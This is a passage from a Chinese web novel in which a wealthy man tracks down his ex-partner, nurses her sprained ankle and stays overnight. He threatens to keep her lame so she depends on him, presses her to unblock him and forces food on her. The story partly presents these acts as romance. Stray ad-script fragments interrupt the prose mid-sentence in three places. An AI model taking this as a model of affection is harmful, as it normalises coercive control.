姚柔伊再度尴尬,阿芸这嘴啊,一会儿给她惊喜,一会儿给她惊吓。 顾阎一口咬定:“这还用说,当然是小姚。” 阿芸满意地点点头,“你别是因为外头那个出国了,你够不着了,才又回来找小姚的。” “当然不是。”顾阎哭笑不得。 阿芸毕竟是没多少见识的乡下人,她仍是希望姚柔伊能有个伴,既然顾阎表现得没啥问题,她也就放心下来,甚至还反过来劝姚柔伊:“小姚,你觉得呢,他要是说的都是真话,那再给他一次机会也不是不行。” 姚柔伊是个不听劝的人,阿芸这段时间照顾她不少,还教会她勾毛线,姚柔伊不好直接翻脸,只坚持自我,说道:“是真话也没用,回不去就是回不去。” 阿芸被呛了回去,也不劝什么,感叹:“看来你男人肯定不止在外头有人了,不然你不至于心这么硬。” 顾阎心微沉,但很快又自我开解,心防不是这么容易卸下的,还得慢慢努力。 “我先把她背回去,帮她处理一下脚。” 顾阎和阿芸寒暄两句告别,背着姚柔伊进屋。 姚柔伊把钥匙给顾阎,顾阎单手背她,腾出一手开门锁,姚柔伊只能夹紧他的腰,防止掉下来。 进门后,顾阎把姚柔伊放到沙发上,低头查看她的伤处。 姚柔伊的视线也跟着垂下去,悲催地发现脚踝已经轻微肿胀起来,一时半会儿消不下去,她的跑路计划只得暂时搁置。 顾阎把她的鞋袜小心轻柔地脱下去,姚柔伊有点别扭,想抽回脚,被顾阎一把握住。 “害羞什么,我们俩还用得着不好意思?”顾阎调侃。 姚柔伊翻白眼,偏过脸不理他。 “脚抬高,我等会拿点冰块来给你冰敷一下,多休息,少走路。”顾阎说完在她脚下垫了个沙发靠垫,把脚搭高。 姚柔伊继续不理他。 顾阎又说:“你真打算走吗?就是为了躲我?” 姚柔伊终于扭过头看他,她瞅了眼脚踝,又望向他:“托你的福,走不了了。” “如果没有这个意外,你是不是又要不告而别,让我永远也找不到你。” “我在这住了挺久,本来就要换个地方,我一开始的计划就是随机去一百个地方。” “你的计划完成了多少,还要几年才能结束,你一点都不跟我讲,我快疯了,我等不下去了。” “我可没让你等我,你等不下去,你就找别人陪着你,跟她恋爱还是结婚,我根本不在乎。” “我不想找别人,我就想找你。”顾阎见她软硬不吃,只能搬出来合约来说事:“还记得我们签了两年合约吗,现在还在合约期间,我们要有点契约精神。” “之前谈的房子我不要了,你帮我爸还清欠款,我也陪了你这么久,就当两清了。” “你看中的那个楼盘上个月开售,我帮你买好了。”顾阎从手机里调出购房合同,给姚柔伊看:“我不想结束合约。” 姚柔伊飞快地扫了眼合同,户主是她个人的姓名,如果放以前,她恐怕会高兴地抱着顾阎的脖子直亲,可现在,她只觉得又是一个麻烦。 “我不要。”接受了就得迫于合约规定,继续和他在一起,她还有什么尊严可言。 顾阎说:“这就是你的,与合约无关,就当我送你的。” “要不起。”拿人手短的道理她又不是不懂,世上哪有什么免费的午餐。 “反正已经是你的了。”顾阎叹了一口气:“我没想拿这个要挟你,我就是想给你花钱,想让你过得好。” “我在这乡下小镇的房子里住得也很开心。”姚柔伊说:“我没有过得不好,请不要表现出可怜我的态度,我这么长时间最狼狈的就是今天,你离我远点,我就能越过越好。” “别这么说,我心里难受。”顾阎接受不了,姚柔伊离开他,日子越来越好。而自己失去姚柔伊之后,表面上一切如常,实则他整个人岌岌可危。 “我只是说了些实话。”姚柔伊看见顾阎那双湿润而忧伤的眼睛,闪烁着点点泪光。 顾阎不停地经受挫败,他纵然是铁打的心脏,也难以承受她不需要他这件事。 他多希望她恨他,她冲他发泄,嘶吼辱骂也好,拳打脚踢也好,他都无所谓,只是很难接受她如此平静地说离开他之后自己越过越好。 “我过的一点都不好。”顾阎丝毫不在乎示弱,反复向她诉说自己的苦痛,“没有你我过得很糟糕,晚上需要吃褪黑素才能睡着,不抱着你我睡不着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 以前的顾阎,可是拥有三秒入睡的神技,曾让姚柔伊嫉妒不已,怀疑这人根本没有失眠的烦恼。如今听到他说需要靠褪黑素才能入睡,她不免有点唏嘘,但也仅此而已。 “我睡得很好。”姚柔伊说。 其实在刚开始时,她睡得并不好,住院时,她甚至整夜失眠,直到当她想通之后,才开始彻头彻尾改变,很努力地调整作息,一直坚持着十点多就睡觉,硬生生把紊乱的生物钟给干正常了。 “你以前说过要陪着我的。”顾阎翻起旧账:“这些我都当真了,你说话难道不算数吗?” “那是以前,我们在一起的时候。”姚柔伊叹气:“分开了自然就不作数了,还会有其他人陪着你,没有孟筝,也会有新的人。” “不会,我只想你陪着我。”顾阎语气卑微又诚挚,“别人都不是你。我求求你,不要丢掉我,跟我回去好不好?” “我不会回去的,你在这耗着根本就没有意义。我不相信你能不回去上班了?” 正因如此,顾阎才会这般绝望和无助,姚柔伊没有固定工作,也没有固定居所,她随时随地都能走,天南海北想去哪里就去哪里,而他呢,偌大的企业不能长时间离开他,他甚至连下一步去哪里找她都不知道。 “如果你不想跟我回去也行,你告诉我你之后的行程,我以后能去哪里找到你,只要能和你再见面,我就不会像这样一直纠缠你。” “我的行程是随机的,我自己都不清楚下一站去哪,通常都是半路灵光一现。” “那你到了之后再跟我说。”顾阎掏出手机,继续请求:“能不能把我从黑名单里放出来?” 姚柔伊沉默了。 她既然选择放弃顾阎,就不想再和他有过多牵扯,重新加回好友,以及报备行程,实在是超出了陌生人的范畴。 “就算不肯接受我,加个好友又不会怎样,你照样可以不理我,设置消息免打扰也行,说一声你在哪也影响不了什么,我又不能当场飞过去捉你回来,我只是想知道你在哪里,我担心你,只有知道你的方位,知道你安不安全,我才能放心下来好好工作,才能睡个好觉,你就当可怜可怜我吧。” “如果我不打算可怜你呢?”姚柔伊皱眉问道。 顾阎深吸一口气,突然往她那里坐了点,将她搂住,注视她的目光幽暗深沉,阴湿晦暗的视线像毒蛇的细长分叉的舌尖舔吻她的皮肤,令人毛骨悚然。 他贴在她的耳畔说:“如果你连可怜我都不愿意,我只能做一些让你永远恨我的事,我突然发现,不能走路或许是件很好的事,如果你的腿脚永远也好不了,是不是就只能乖乖待在我身边,永远接受我的照顾,只能全身心依赖我,你的世界从此只剩下我,我就是你生命的全部。”他说这话的同时,手轻轻拂过她肿胀的脚踝。 这话宛如恶魔的低语,姚柔伊不寒而栗,耳廓发麻,半边身子都僵硬起来,手臂上立起密密麻麻的鸡皮疙瘩,她战战兢兢地回道:“你这个疯子!” “是的,你可怜可怜我,让我当个正常人好不好?”顾阎亲她的耳朵,“你走了我可能真的有点疯了。” “我的脚是你故意的吧?”姚柔伊眼眶里蓄着愤怒的泪:“处心积虑的王八蛋。” “不是,我没想过伤害你,只是这事给了我点启发。”顾阎去亲她摇摇欲坠的泪,“我比谁都希望你好,但是,只能在我身边过得好,不然我会发疯,我也不知道我疯起来后会怎么样。” 49. 第 49 章 姚柔伊觉得顾阎难以沟通,“你这样只会让我害怕你,更想远离你。” 顾阎对此不置可否:“我不这样,你也要远离我,既然不管怎么样,你都不肯回来,那我只能利用点手段让你回来。” 姚柔伊气极反笑:“就是打断我的腿,把我圈禁在你身边吗?” 顾阎认真思虑片刻说:“舍不得打断你的腿,我不想你受伤,我会思考有没有什么办法能让你在不受伤的情况下,限制你的人身自由。” “你所有想到的方法都是违法犯罪。” “嗯,实在不行你杀了我,我死了你就解脱了。”他以一种死猪不怕开水烫的态度犯浑。 “我跟你不一样,我是守法公民,杀了你我要坐牢,你不值得我牺牲自由。” “求你了,看在我有病的份上,你重新加回我好不好?”顾阎半胁迫半哀求说:“如果一无所获,我是不会回去的,我就在这里,和你永远纠缠下去。” 姚柔伊在和顾阎一刀两断之前,考虑过很多情况,包括也考虑到他会找到她、试图挽回她,但实在没考虑到顾阎会发疯,他对待感情一事看起来比她还要无所谓,她根本不可能预料到他会有这么恐怖的一面。 她以为顾阎只是一个难缠的狗皮膏药,未曾料到他是一个会走极端的疯子。 他们这种豪门太子爷,一向是为达目的死不罢休的,在金钱权力熏陶下的人,难免会蔑视法律和公序良俗,真正循规蹈矩的是她们这些家境普通的人。 姚柔伊考虑一番,决定暂时低头,将当前这关给糊弄过去,把顾阎暂时安抚好,让他先回去,自己另做打算,实在不行她溜去国外,如果待在国内容易被他找到,那国外还有广阔的天地,她倒不信他能手眼通天到这种地步。 姚柔伊掏出手机,把他从黑名单里放出来。 顾阎这才满意,低头亲了她一口,“好,我去拿冰块,你在这等我一会儿。” 姚柔伊心累地闭上双眼。 姚柔伊租的房子,冰箱里没有制冰区,只能自己找模具在冷冻层里制冰,但她自从养生之后,就不再喝加冰的饮料,故而冰箱里没有冰块。 顾阎皱眉,这里条件真是恶劣,要啥没啥。 “你在这里躺着,我出去看看,顺便帮你买点药。”顾阎又问:“想吃什么,早上没吃饭,我去买点菜做饭给你吃。” 姚柔伊不想理他,刚才阴暗到恐怖的一个人,现在仿佛被阳光照耀了,温柔地问她想吃什么,简直精分。 见她不回答,顾阎也不继续追问,“好,那我就随便买了。” 顾阎走后,姚柔伊用她完好的左腿狠踹了一下沙发,发泄怒气。 她气势汹汹地给老姚打电话,“是不是你把我的信息出卖给他了?!” 老姚不好意思地讪笑:“他去找你了?” “果然是你!”姚柔伊气死:“你怎么跟他是一条心的?” 老姚连连否认:“开玩笑,我当然跟你是一条心的,就是你一直在外边我也不放心,把你的消息转给他,让他找你,确认你的安全,我也跟着安心。你不能再一言不合搞失踪,我们都担心死你,你一个人在外头到处转悠,也没个人陪在身边,万一遇到坏人怎么办?” 姚柔伊直翻白眼:“他可比外头的什么坏人危险多了!” 老姚反驳:“瞎说,真要遇上坏人,你小命不保,他再怎么危险,也不会伤害你吧。” “他不来,我活蹦乱跳,一点事没有,他一来,我就崴脚,现在躺着不能动!”姚柔伊呵斥道:“都是你俩害的!” “哎呀姑娘,你咋受伤了?”老姚焦急不已,“严重吗?” 姚柔伊叹气,说这些除了让远方的老姚担心外,对现状起不了半点用,她道:“我没事,过两天就好了。” “他在那边照顾你吗?”老姚还是不放心:“用不用我过去看看?” “不用你来,他在这边。”姚柔伊转移话题:“你在家怎么样了?” “我很好,顺利跟报社签约了,现在每个月能发表好几首诗呢,稿费能拿不少,等发表的数量多起来,报社说会给我出诗集。”老姚喜不自胜,眉飞色舞道:“就我之前跟你说的编辑刘阿姨你知道不,上次约她吃饭,她终于同意了,嘿嘿真好,感觉迟早会被我打动。” 事业,爱情进展双双顺利,老姚的状态好的不得了,用不着姚柔伊担心。 姚柔伊又跟老姚扯了几句,挂了电话。 挂完电话,她点开久违的朋友圈,看看朋友的近况。 庞天娇将微信用成了接稿工作号,朋友圈更新得很频繁,但都是画稿分享,各种打满水印的草稿图,以及成稿进度,还掺杂着几条给自己打的广告。 蒋洲还在国外到处玩,上个定位还在冰岛,除了极光的照片,还有一张他和男友的合照,他在旅途中结交了一位志同道合的的男友,两人结伴玩耍,似乎计划着环游世界,是姚柔伊朋友圈里最潇洒的人。 齐莎莎和别人一起开了个美甲店,生意挺不错,发了一条店里招人的朋友圈。 甚至还刷到了许恩,她都忘了自己以前加过许恩,许恩分享了一张新学校的图书馆照片,他已经到了美国。 …… 哦,还看见了刚加上没多久的何俊良,他在那晚回家后,发了一条纯文字的朋友圈:【还没开始,便已结束。】 姚柔伊不好意思地笑出声。 刷了半天,一条顾阎的也没有。 他们两人,好像颇有默契地同时停更了。 她点进顾阎的朋友圈,他把那张她望向他,眼里满是爱意的婚纱照设成了朋友圈封面。 姚柔伊看着那张婚纱照,一时间有种恍如隔世的错觉,那张照片明明也就几个月之前拍的,如今却好似上辈子发生的画面。 姚柔伊轻声叹息,退了出来。 顾阎的出现,让她产生想倾诉的冲动,目前了解她和顾阎分手最多的人就是庞天娇了,她还记得当时她身体恢复之后、提出要走的时候,庞天娇几乎哭着挽留她,甚至还差点收拾行李要跟她一起走了,被她劝住了。 姚柔伊:【哈喽,在画画吗?】 庞天娇:【!】 庞天娇:【这是你走之后第三次联系我呜呜呜】 庞天娇:【你还好吗?】 姚柔伊:【我挺好的,就是突发变故,不知道自己的计划还能不能继续下去?】 庞天娇:【我猜猜,你说的变故不会是他找到你了吧?】 姚柔伊:【……你这样让我很尴尬】 庞天娇:【那你打算怎么办?如果计划终止,你可以来我这边躲躲,这里永远是你的避风港。】 姚柔伊:【我要哭了抱抱】 庞天娇:【他怎么还有脸回去找你,你流产的时候他都没来看你一眼。】 姚柔伊:【当时他前女友自杀住院,我也没有跟他说流产这件事,但不管怎么样,我还是不能原谅他。】 实际上,她除了不能原谅顾阎,她也没有原谅自己,她无法原谅自己的偷懒和侥幸心理,让这个无辜的小生命毫无准备地来到这个世上,也不能原谅自己对自己的身体毫不负责,导致它仓皇离去。 她根本就是一个合格的母亲,她的心态从未成熟过,在得知要进行手术后,她竟有种松了一口气的感觉,好像免去了一场内心的挣扎,不必进行良心道德上的自我谴责,就能心安理得地接受它的离去。 她很难去面对这件事,她不能原谅自己,更不能原谅顾阎,只有拉另外一个人共同承担不被原谅的罪责,这样她才能舒缓内疚的情绪。顾阎自然是难辞其咎的那个人。 庞天娇:【为什么不肯告诉他,凭什么你要自己一个人承担这份痛苦,明明他才需要对流产这事负责。】 姚柔伊:【我当时心如死灰,只想着跟他一刀两断,甚至觉得这个孩子没了挺好,就算不自然流产我也会打掉它。】 庞天娇:【真的吗?如果你晕倒之后,孩子还是健康的,你真的会选择打掉吗,现在很流行去父留子,我觉得只要经济条件允许,可以自己养 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大。】 姚柔伊:【去父留子建立在男方永远不知道孩子的存在、永远不可能抢孩子的基础上,比如买精生子,而我当时的情况很难成立,除非我带着孩子去国外,再也不回来,不然一旦被他发现有这么个孩子存在,他肯定会来抢孩子,到时候我又要倒霉。】 其实这个问题姚柔伊也曾思考过无数次,如果有选择的机会,她会留下孩子吗,可想来想去,还是觉得这是一件不可能的事情,在当前阶段下,它的必然结局就是匆匆来、匆匆去,想明白之后,她就不再沉溺于这个假设了,不再进行无意义的懊悔,对这个小生命只有歉疚的想法。 庞天娇:【可是他不知道这件事,我替你感觉委屈。】 姚柔伊:【他既然要跑来纠缠我,我自然也不会让他好过,这事我一定要在合适的时机告诉他,绝对送给他一份大“惊喜”!】 她在计划着将事件全盘脱出的时机,她一定不会让他这么轻飘飘逃脱罪责,她所承受的痛苦,他一样都不能省略。 两人继续聊天之时,顾阎提着几个塑料袋回来了。 有肉有菜,有药有冰块,还有一些生活用品。 “冰块是在做冷冻生意的商店里买的,先敷一下。”顾阎将其他的东西放在一旁,将一个大冰块,砸碎成拳头大小的冰块,放在姚柔伊的脚踝处冰敷。 他全程躬力亲为,动作小心仔细,他认真的样子落在姚柔伊的眼里,有些难以言喻的感受。 她想到一句话,迟来的深情比草还贱。可又不得不说,这深情别有一番赏玩的滋味。 至少在此之前,他极少会有这般低伏做小,谨慎不安的姿态。 直到冰融化成水,他长而劲瘦的手指被冻得通红,姚柔伊终于开口:“可以了。” 顾阎抬头,冰冷而湿漉的手掌握着她的脚踝,他问:“有舒服一点吗?” “嗯。”姚柔伊闷声。 紧接着,她的肚子不合时宜地发出咕噜的声音。 姚柔伊略羞耻地偏过头。 顾阎莞尔:“饿了吧,都快中午了,你先躺着,我去做饭。” 更让姚柔伊羞耻的是,她现在想去卫生间,早起的时候喝了一杯蜂蜜水,一直憋到了现在,但她不想出声求助顾阎。 等顾阎起身去厨房,姚柔伊这才挣扎着从沙发上坐起来,单着一条腿,扶着沙发和墙壁,一点点蹦跶去卫生间。 可惜一条腿就是不方便,蹦跶的声音太明显了,顾阎很快听见动静,从厨房探出来,看见姚柔伊正扶着墙壁做金鸡独立式。 “怎么了?”顾阎过来,“我就去做个饭的功夫,你就不老实,腿都这样了还想跑。” 姚柔伊尴尬开口:“我跑什么跑,人有三急懂不懂?” 顾阎:“怎么不跟我说?” “我又不是残废了。”姚柔伊咕哝了句。 “逞什么强?”顾阎不由分说地将她抱起来,“我抱你去,既然是人有三急,还在乎什么条条框框。” 顾阎将姚柔伊抱到卫生间,租的房子里没有马桶,只有蹲坑。 只有一条腿能用力,只靠她一个人,没法完成蹲下上厕所这么简单的小事。 不过姚柔伊依然倔强表示:“你出去吧,我自己来。” 顾阎看出她的别扭,也不想跟她争吵,强势地扯着她的裤子往下一拽,她穿的运动裤是松紧腰,很容易就被扯下来。 裤子滑到膝盖窝处,姚柔伊高筑的心防也坍塌了,这个人,根本就是一个专制的神经病! “别磨蹭,我扶着你。”顾阎语气轻松:“又不是没看过。” 算了,人有三急,她根本就没法在这事上跟他对着干,只能硬着头皮,在顾阎的搀扶下,完成艰难且不雅观的如厕。 顾阎甚至还在她蹲下之后,吹起口哨。 姚柔伊觉得自己简直要被这个变态精神强.奸了! 他还贴心地递来抽纸。 结束之后,姚柔伊发誓这两天绝对不喝水了,不能再给顾阎“羞辱”她的机会。 50. 第 50 章 顾阎的做饭手艺依旧很赞,尤其是他想在姚柔伊面前表现的时候,更是不可谓不用心。 姚柔伊很喜欢他做的红烧排骨,味道浓郁,脱骨方便,特别下饭,之前做过几次都被她夸过,这次他又做了这道菜。 可姚柔伊在餐桌上一直跟他赌气,一筷子都不夹,只专注吃米饭,偶尔夹了两筷子素菜。 “怎么了,专门做给你吃的。”顾阎夹了一块排骨放进姚柔伊碗里,“你不尝,我就白费这么多时间了。” “不吃,我现在是素食主义者。”姚柔伊把排骨夹回他的碗里,随口编了句瞎话。 “你明明无肉不欢。”顾阎看着排骨叹气道:“你要是不吃,只能喂隔壁的狗狗了,可惜了。” 姚柔伊瞥了他一眼:“爱喂什么喂什么,谁管你。” 顾阎突然伸长手臂,捏住了她的下巴,迅雷不及掩耳之势将这块排骨塞进了姚柔伊的嘴里,“我就想喂你。” 排骨炖得很软烂,口味完美踩中她的味蕾,她吐出来的时候,只剩下了一小截细细的骨头。 至于留在她口中的肉,她是咽也不是,吐也不是。 “不要浪费食物。”顾阎出言提醒,打破她想吐出来的念头。 见姚柔伊不情不愿地将排骨肉嚼碎咽下后,顾阎终于露出满足的笑意:“对付你就得这样,小犟种一个。” 姚柔伊气鼓鼓的,她这些天也算修身养性,根本不跟任何人置气,顾阎一来,把她这段时间没发的火全逼出来了。 顾阎没忍住戳了戳她的脸,继续给她夹了一块排骨:“快吃,不然我还得像刚才那样喂你了。” 姚柔伊屈服于排骨的美味以及顾阎的淫.威,老老实实地开始吃饭。 吃完饭,她受限于腿脚不便,只能待在家里,而顾阎又是一块十足的狗皮膏药,赶也赶不走。 他留下来,帮她做家务,收拾房间,还帮她把小花园修整了一番。 见他一直忙前忙后干活,姚柔伊也没辙撵他走,自己在一旁织毛线花打发时间。 晚饭结束后,顾阎更是得寸进尺,表示要住在这里,不肯走了。 “快滚,你要不要脸!”姚柔伊气得想用手里的钩针戳死他。 “你就看在我帮你干了一下午活,又做了两顿饭的份上,让我留下来吧,我睡沙发上,保证什么事也不干。”顾阎继续说:“你看你脚不方便,万一有什么事我还能帮忙,比如半夜上厕所什么的。” 他说的有理有据,不好反驳,姚柔伊灵机一动说:“我可以让阿芸来这边陪我住,不需要你。” “阿芸回娘家了。” “你怎么知道?” “我出去买菜的时候遇到了,买菜的地方还是向她打听的。” “那我晚上不起夜。” “万一突然发生个什么地震啊。” “……”姚柔伊无语。 见商量不成,顾阎直接耍起无赖:“不管你同不同意,我反正就住这了,你又赶不走我。” 这倒是实话,她行动不便,处处掣肘,反抗起来一点分量都没有,全看对方的道德和修养,奈何顾阎两个都不具备。 姚柔伊不语。 “好,沉默就代表默认,就这么说定了。”顾阎一锤定音。 姚柔伊心想,大不了就留他一夜,反正顾阎迟早要走,到时候她脚也好了,也就不会这么被动了。 忍一时风平浪静,退一步海阔天空。 好,她忍。 大概晚上十点多的时候,姚柔伊关灯准备睡觉,闭上眼睛十分钟,罕见地没睡着,或许是屋子里出现其他人,影响了她的睡眠,她睁开眼睛,远远看见顾阎还在处理工作。 当他决定住这里之后,他返回酒店取他的公文包,里面是他办公用的笔记本电脑。 安静的屋子里,柔和的屏幕光打亮他俊帅的面庞,手指下传出敲击的键盘声音,微弱但清晰,像一串催眠音符。 她还隐约看见,电脑旁边有个小瓶子。 姚柔伊出声:“那是什么,软糖吗?” “还没睡着,打扰到你了?”顾阎转过头,拿起一旁的小瓶子看了眼,答道:“之前不是说了吗,必须要吃褪黑素才能睡着,出来也得随身携带。” “哦。”姚柔伊转了回去,重新闭上眼睛。 没想到他说的是真话,之前还觉得他有故意装可怜博同情的嫌疑。 没一会儿,她又睁开眼睛:“睡不着。” “算了,我不处理了,明天再看。”顾阎停下打字的手,将电脑合起来。 他知道以前姚柔伊睡觉时就对环境很挑剔,必须绝对的黑暗和绝对的安静,现在依然是这个习惯。 屋里漆黑一片,顾阎躺在沙发上,身上一点盖的东西都没有。 此时早已深秋,夜里的温度只有个位数,房间里也没有开空调,这么睡觉难说会不会冻出病来。 “衣橱里有床小被子。”姚柔伊说。 拿不拿随便他,她提醒一句话,已经是莫大的良心了,让她亲自去找出来拿给他盖,那还是算了吧。 顾阎嘴角的笑意越来越大,好在黑暗替他遮掩一二,这两天处处吃闭门羹,难道感受到一点关心,他简直感动得想哭。 顾阎开灯,快速去衣橱找出夏季薄被,又马上关灯,防止光亮影响到姚柔伊的睡眠。 他铺开被子,裹在身上,狠狠地嗅了下被子,不知是否是他的错觉,好似闻到了若有似无得香橙味,他觉得那是姚柔伊的味道。自她离开之后,他第一次有被抚慰的感觉,让他无比放松,内心产生了久违的安宁感,像漂泊的旅人回到了家乡。 他难得没有吃褪黑素,就自然地入眠了。 第二日,顾阎起来后第一件事就是查看姚柔伊的恢复情况。 姚柔伊半梦半醒间,感觉有人抓她的脚,她猛地一踹,接着听到一声闷哼。 姚柔伊这才醒了过来。 看见顾阎就站在她床边,给她吓得一激灵,“干什么啊你?!” 顾阎的脸色并不美妙,他嘶了一声:“可以啊,看来恢复不错,可以踹人了。” 姚柔伊试着活动脚腕,神奇地发现,比昨天舒服很多,没有那种尖锐的刺痛感了,她抬起上半身看向脚的方向,脚踝已经消肿了大半,看来昨天又冰敷,又吃药,洗脚的时候顾阎还帮她按了一会,还是挺有效果的。 不知道是哪个举措发挥的最大的作用,总之好转得比她想象中快 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,她本来还以为自己得卧床三天,这么看今天她就能恢复基本行动能力,至少上厕所不用这么狼狈了。 “这我就放心了。”顾阎说:“我今天的飞机,本来还想着走之前帮你联系个护工,也不知道这小地方能不能找得到,现在看来不需要了。” “飞机?这地方可没有飞机场。” “嗯,下午的飞机,得先去镇上联系车,送我去机场,从这开车去机场得三个小时。” 还得提前两小时到机场,这么一算,上午他就得动身。 知道他肯定会走,结果离开得比她想的还快,一时间不知作何感想,姚柔伊道:“真好,这就走了。” 顾阎一脸受伤的表情:“就这么盼着我走?” “不然呢?”姚柔伊鄙视地看向他:“难不成我还盼着你来?” “你这么说,我不走了。”顾阎一副马上要退票的架势。 姚柔伊忙道:“别啊,公司需要你,顾大劳模。” “你跟我保证,下一步去哪儿一定要跟我说。”顾阎不放心,再三强调要知道她的去向。 “我保证。”保证在你走之前不拉黑你。 “等我有空,马上就去找你。” 顾阎计划着,回去之后将他的工作内容交接出去一部分,他在很多事务上有点太亲力亲为,甚至到大包大揽的程度,这与他性格里的掌控欲有关,为此在工作上也没少得罪人,秘书办时常有受不了工作强度,提出离职的员工,现在他突然想通了,这没什么意思,工作能给他带来的价值感和满足感并没有他想象中的多,他现在想放权,想要更多更多的私人时间。 “哦。”姚柔伊很敷衍地回了句。心里想的是,保佑你没空,也找不到我。 顾阎替她做好早餐,收拾完公文包,转眼就到了道别的时候。 比起他的不舍,姚柔伊显然没太大的情绪,她的注意力一直在手里正在勾织的太阳花上。 姚柔伊是故意避开与他视线相交的机会,她也不知道为什么要这样,她心里有一丝丝的怪异,只希望他赶紧回去,赶紧让她的生活恢复正常,如果他再无休止地待下去,她会变得有些奇怪,甚至会有些……不舍。 她耻于承认这种感觉。 或者说她畏惧承认这种感觉。 这感觉让她很害怕,很自责,甚至很自厌。 手里的太阳花已经编完了,她打上一个结,顾阎手速极快地将这支编织花抽走,“这个就送给我当个纪念。”以后再勾毛线时能想起他。 姚柔伊没去抢夺,她也不抬头看他,只想避开与他互动的可能。 顾阎上前拥抱她,姚柔伊想推开,却推不动。 “别动,让我抱一下。”顾阎说:“谢谢你昨晚的被子,我这么多天头一次不靠褪黑素睡觉。” 不,不能再这么下去,好似他两是普通情侣一样,分别还要拥抱表达不舍。 姚柔伊狠狠推开他,面色冷厉:“别抱我,我嫌脏。” 顾阎的身体僵住,很快恢复正常,他直起身体,眼睛红红的,什么也没说,提着公文包离开。 直到他的背影完全看不见,姚柔伊总算卸了力,仰躺在沙发上,身边的毛线团被她抓得乱七八糟。